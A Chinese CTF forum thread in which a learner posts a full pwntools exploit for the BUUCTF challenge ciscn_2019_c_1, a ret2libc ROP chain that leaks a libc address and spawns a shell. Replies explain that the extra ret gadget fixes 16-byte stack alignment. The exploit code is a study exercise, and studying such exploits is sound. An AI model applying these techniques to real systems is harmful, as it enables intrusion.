求助,做pwn题ciscn_2019_c_1时栈平衡的问题
本帖最后由 sweety 于 2021-9-9 21:38 编辑原题地址:BUUCTF在线评测 (buuoj.cn)
这里是exp
from os import popen
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = remote('node4.buuoj.cn',28554)
p = process('./pwn')
e = ELF("./pwn")
puts_plt_addr = e.plt['puts']
puts_got_addr = e.got['puts']
gets_got_addr = e.got['gets']
encrypt_addr = 0x4009a0
pop_rdi = 0x0000000000400c83
ret = 0x4006b9
p.recvuntil("choice!\n")
p.sendline("1")
payload = 'a'*88 + p64(pop_rdi) + p64(gets_got_addr) + p64(puts_plt_addr) + p64(encrypt_addr)
p.sendline(payload)
p.recvuntil("llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll")
gets_addr = p.recvuntil("Input your Plaintext to be encrypted").split("\n")
print gets_addr
gets_addr = u64(gets_addr.ljust(8,"\x00"))
print hex(gets_addr)
'''
libc = LibcSearcher("gets",gets_addr)
libc_base = gets_addr - libc.dump('gets')
system_addr = libc.dump("system") + libc_base
bin_addr = libc.dump("str_bin_sh") + libc_base
'''
libc = ELF("./libc.so")
libc_base = gets_addr - libc.symbols['gets']
system_addr = libc.symbols["system"] + libc_base
bin_addr = libc.search("/bin/sh").next() + libc_base
# payload = 'a'*88+p64(pop_rdi) + p64(bin_addr) + p64(system_addr) 这是我写的payload
payload = 'a'*88+ p64(ret) + p64(pop_rdi) + p64(bin_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()
我看其他wp发现最后一个payload里添加了p64(ret),并说明为栈平衡
看了一天不懂为什么需要栈平衡,而且为什么要用ret指令平衡,求助
前面用到了堆栈,后面就要平栈,用ret平衡,有可能是他只找到了ret的指令片段,只要能对堆栈造成影响的指令都可以用来平衡堆栈 本帖最后由 sweety 于 2021-9-10 21:14 编辑
roger 发表于 2021-9-10 09:48
前面用到了堆栈,后面就要平栈,用ret平衡,有可能是他只找到了ret的指令片段,只要能对堆栈造成影响的指令 ...我懂了,谢谢老师,我以前做的都是32位题目并未用到堆栈所以不用平衡... roger 发表于 2021-9-10 09:48
前面用到了堆栈,后面就要平栈,用ret平衡,有可能是他只找到了ret的指令片段,只要能对堆栈造成影响的指令 ...
那我如何判断堆栈是用push还是pop来提升还是降低栈而使他平衡呢,这题的ret可以看做用pop平衡,这是怎么判断的呢 不是栈平衡。。。这是ubuntu18版本以上,调用system时需要栈对齐。百度搜索栈对齐相关知识。 sweety 发表于 2021-9-10 21:10
我懂了,谢谢老师,我以前做的都是32位题目并未用到堆栈所以不用平衡...
不是平衡堆栈。。。这是栈对齐,他说的不对 Sierra 发表于 2021-9-13 21:54
不是平衡堆栈。。。这是栈对齐,他说的不对
谢谢,我百度找找 sweety 发表于 2021-9-15 17:03
谢谢,我百度找找
很早以前找文章研究过这个,印象中大概就是ubuntu18及以上在调用system函数的时候会先进行一个检测,如果此时的栈没有16字节对齐的话,就会强行把程序crash掉,而我们在填入了一堆垃圾数据以后就会导致此时栈不是对齐的,所以要在调用system前把栈地址ret到一个对齐的位置,大部分情况只需要随便找一个ret就可以了,因为没有被你动过的内存大概是对齐的,你填完垃圾数据以后来到ret_addr上,本来是把system的rop链填在上面来控制执行流,会ret system(bin/sh),前面多个ret就是ret ret system(bin/sh),仔细想想是没有差别的,https://www.cnblogs.com/Rookle/p/12871878.html 具体可以看这个博客,是我当时找到讲的最好最清楚的。上面只是本人看法,如果有大佬觉得是错的请指出。 本帖最后由 sweety 于 2021-10-20 15:57 编辑
谢谢各位师傅热心回答,最近做第五空间的bountyhunter时又遇到这个问题,当时是gdb attach调试才发现原因,是movaps与xmm寄存器的问题,这两个因素在一起的话栈必须是16字节对齐的
页:
[1]